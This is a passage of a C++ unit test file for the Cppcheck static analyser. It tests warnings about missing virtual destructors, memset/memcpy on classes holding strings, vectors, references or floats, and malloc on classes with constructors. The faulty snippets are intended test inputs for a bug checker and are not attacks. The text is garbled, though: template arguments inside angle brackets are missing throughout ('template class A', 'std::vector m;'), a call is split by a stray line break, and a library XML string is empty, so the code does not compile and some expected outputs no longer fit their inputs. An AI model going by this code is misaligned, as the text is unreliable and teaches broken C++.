\"{\\n\"\n \" Base* p = new Derived();\\n\"\n \" delete p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor3() {\n // Base class has a destructor, but it's not virtual\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : protected Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : private Fred, public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor4() {\n // Derived class doesn't have a destructor => undefined behaviour according to paragraph 3 in [expr.delete]\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : private Fred, public Base { };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor5() {\n // Derived class has empty destructor => undefined behaviour according to paragraph 3 in [expr.delete]\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() {} };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived(); }; Derived::~Derived() {}\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor6() {\n // Only report error if base class pointer is deleted that\n // points at derived class\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructorProtected() {\n // Base class has protected destructor, it makes Base *p = new Derived(); fail\n // during compilation time, so error is not possible. => no error\n checkVirtualDestructor(\"class A\\n\"\n \"{\\n\"\n \"protected:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructorInherited() {\n // class A inherits virtual destructor from class Base -> no error\n checkVirtualDestructor(\"class Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"virtual ~Base() {}\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // class A inherits virtual destructor from struct Base -> no error\n // also notice that public is not given, but destructor is public, because\n // we are using struct instead of class\n checkVirtualDestructor(\"struct Base\\n\"\n \"{\\n\"\n \"virtual ~Base() {}\\n\"\n \"};\\n\"\n \"class A : public Base\\n\"\n \"{\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown Base class -> it could have virtual destructor, so ignore\n checkVirtualDestructor(\"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Virtual destructor is inherited -> no error\n checkVirtualDestructor(\"class Base2\\n\"\n \"{\\n\"\n \"virtual ~Base2() {}\\n\"\n \"};\\n\"\n \"class Base : public Base2\\n\"\n \"{\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // class A doesn't inherit virtual destructor from class Base -> error\n checkVirtualDestructor(\"class Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~Base() {}\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7]: (error) Class 'Base' which is inherited by class 'B' does not have a virtual destructor.\\n\",\n \"\", errout_str());\n }\n\n void virtualDestructorTemplate() {\n checkVirtualDestructor(\"template class A\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" virtual ~A(){}\\n\"\n \"};\\n\"\n \"template class AA\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ~AA(){}\\n\"\n \"};\\n\"\n \"class B : public A, public AA\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ~B(){int a;}\\n\"\n \"};\\n\"\n \"\\n\"\n \"AA *p = new B; delete p;\");\n ASSERT_EQUALS(\"[test.cpp:9:3]: (error) Class 'AA < double >' which is inherited by class 'B' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructorInconclusive() {\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" ~Base(){}\\n\"\n \" virtual void foo(){}\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:6]: (warning, inconclusive) Class 'Base' which has virtual members does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" ~Base(){}\\n\"\n \" virtual void foo(){}\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" ~Derived() { bar(); }\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" Base * base = new Derived();\\n\"\n \" delete base;\\n\"\n \"}\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n // class Base destructor is not virtual but protected -> no error\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual void foo(){}\\n\"\n \"protected:\\n\"\n \" ~Base(){}\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class C {\\n\"\n \"private:\\n\"\n \" C();\\n\"\n \" virtual ~C();\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkNoMemset(...) checkNoMemset_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkNoMemset_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability).library(\"std.cfg\").library(\"posix.cfg\").build();\n checkNoMemset_(file, line, code, settings);\n }\n\n template\n void checkNoMemset_(const char* file, int line, const char (&code)[size], const Settings &settings) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.checkMemset();\n }\n\n void memsetOnClass() {\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" static std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string * b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" mutable std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred {\\n\"\n \" std::string b;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void Fred::f() {\\n\"\n \" memset(this, 0, sizeof(*this));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"class Pebbles: public Fred {};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Pebbles pebbles;\\n\"\n \" memset(&pebbles, 0, sizeof(pebbles));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" virtual ~Fred();\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" virtual ~Fred();\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" static Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"class Wilma\\n\"\n \"{\\n\"\n \" virtual ~Wilma();\\n\"\n \"};\\n\"\n \"class Pebbles: public Fred, Wilma {};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Pebbles pebbles;\\n\"\n \" memset(&pebbles, 0, sizeof(pebbles));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:12:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n // Fred not defined in scope\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Fred with namespace qualifier\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" n1::Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(n1::Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n // Fred with namespace qualifier\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" n1::Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class A {\\n\"\n \" virtual ~A() { }\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"int f() {\\n\"\n \" const int N = 10;\\n\"\n \" A** arr = new A*[N];\\n\"\n \" memset(arr, 0, N * sizeof(A*));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class A {\\n\" // #5116 - nested class data is mixed in the SymbolDatabase\n \" std::string s;\\n\"\n \" struct B { int x; };\\n\"\n \"};\\n\"\n \"void f(A::B *b) {\\n\"\n \" memset(b,0,4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4461 Warn about memset/memcpy on class with references as members\n checkNoMemset(\"class A {\\n\"\n \" std::string &s;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Using 'memset' on class that contains a reference. [memsetClassReference]\\n\", errout_str());\n checkNoMemset(\"class A {\\n\"\n \" const B&b;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Using 'memset' on class that contains a reference. [memsetClassReference]\\n\", errout_str());\n\n // #7456\n checkNoMemset(\"struct A {\\n\"\n \" A() {}\\n\"\n \" virtual ~A() {}\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" A* arr[4];\\n\"\n \"};\\n\"\n \"void func() {\\n\"\n \" B b[4];\\n\"\n \" memset(b, 0, sizeof(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8619\n checkNoMemset(\"struct S { std::vector m; };\\n\"\n \"void f() {\\n\"\n \" std::vector v(5);\\n\"\n \" memset(&v[0], 0, sizeof(S) * v.size());\\n\"\n \" memset(&v[0], 0, v.size() * sizeof(S));\\n\"\n \" memset(&v[0], 0, 5 * sizeof(S));\\n\"\n \" memset(&v[0], 0, sizeof(S) * 5);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:5:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:6:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\",\n errout_str());\n\n // #1655\n const Settings s = settingsBuilder().library(\"std.cfg\").build();\n checkNoMemset(\"void f() {\\n\"\n \" char c[] = \\\"abc\\\";\\n\"\n \" std::string s;\\n\"\n \" memcpy(&s, c, strlen(c) + 1);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Using 'memcpy' on std::string. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"template \\n\"\n \" void f(T* dst, const T* src, int N) {\\n\"\n \" std::memcpy(dst, src, N * sizeof(T));\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" typedef std::vector* P;\\n\"\n \" P Src[2]{};\\n\"\n \" P Dst[2];\\n\"\n \" f

(Dst, Src, 2);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"void f() {\\n\"\n \" std::array a;\\n\"\n \" std::memset(&a, 0, 4);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnInvalid() { // Ticket #5425\n checkNoMemset(\"union ASFStreamHeader {\\n\"\n \" struct AVMPACKED {\\n\"\n \" union {\\n\"\n \" struct AVMPACKED {\\n\"\n \" int width;\\n\"\n \" } vid;\\n\"\n \" };\\n\"\n \" } hdr;\\n\"\n \"};\"\n \"void parseHeader() {\\n\"\n \" ASFStreamHeader strhdr;\\n\"\n \" memset(&strhdr, 0, sizeof(strhdr));\\n\"\n \"}\");\n }\n\n void memsetOnStruct() {\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A a;\\n\"\n \" memset(&a, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"void f()\\n\"\n \"{\\n\"\n \" struct sockaddr_in6 fail;\\n\"\n \" memset(&fail, 0, sizeof(struct sockaddr_in6));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \" void g( struct sockaddr_in6& a);\\n\"\n \"private:\\n\"\n \" std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A fail;\\n\"\n \" memset(&fail, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:2]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct Stringy {\\n\"\n \" std::string inner;\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Stringy s;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Foo foo;\\n\"\n \" memset(&foo, 0, sizeof(Foo));\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n }\n\n void memsetVector() {\n checkNoMemset(\"class A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on class that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on class that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" std::vector buf;\\n\"\n \" operator int*() {return &buf[0];}\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(a, 0, 100);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #4460\n\n checkNoMemset(\"struct C {\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"int foo() {\\n\"\n \" C* c1[10][10];\\n\"\n \" C* c2[10];\\n\"\n \" C c3[10][10];\\n\"\n \" C** c4 = new C*[10];\\n\"\n \" memset(**c1, 0, 10);\\n\"\n \" memset(*c1, 0, 10);\\n\"\n \" memset(*c2, 0, 10);\\n\"\n \" memset(*c3, 0, 10);\\n\"\n \" memset(*c4, 0, 10);\\n\"\n \" memset(c2, 0, 10);\\n\"\n \" memset(c3, 0, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:11:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:12:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:13:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n // Ticket #6953\n checkNoMemset(\"typedef float realnum;\\n\"\n \"struct multilevel_data {\\n\"\n \" realnum *GammaInv;\\n\"\n \" realnum data[1];\\n\"\n \"};\\n\"\n \"void *new_internal_data() const {\\n\"\n \" multilevel_data *d = (multilevel_data *) malloc(sizeof(multilevel_data));\\n\"\n \" memset(d, 0, sizeof(multilevel_data));\\n\"\n \" return (void*) d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:3]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n }\n\n void memsetOnStdPodType() { // Ticket #5901\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n checkNoMemset(\"class A {\\n\"\n \" std::array ints;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // std::array is POD (#5481)\n\n checkNoMemset(\"struct st {\\n\"\n \" std::uint8_t a;\\n\"\n \" std::atomic_bool b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" st s;\\n\"\n \" std::memset(&s, 0, sizeof(st));\\n\"\n \"}\", settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnFloat() {\n checkNoMemset(\"struct A {\\n\"\n \" float f;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float f[4];\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float f[4];\\n\"\n \"};\\n\"\n \"void f(const A& b) {\\n\"\n \" A a;\\n\"\n \" memcpy(&a, &b, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float* f;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnUnknown() {\n checkNoMemset(\"void clang_tokenize(CXToken **Tokens) {\\n\"\n \" *Tokens = (CXToken *)malloc(sizeof(CXToken) * CXTokens.size());\\n\"\n \" memmove(*Tokens, CXTokens.data(), sizeof(CXToken) * CXTokens.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mallocOnClass() {\n checkNoMemset(\"class C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with malloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"class C { C(int z, Foo bar) { bar(); } };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with malloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"struct C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = realloc(p, sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with realloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"struct 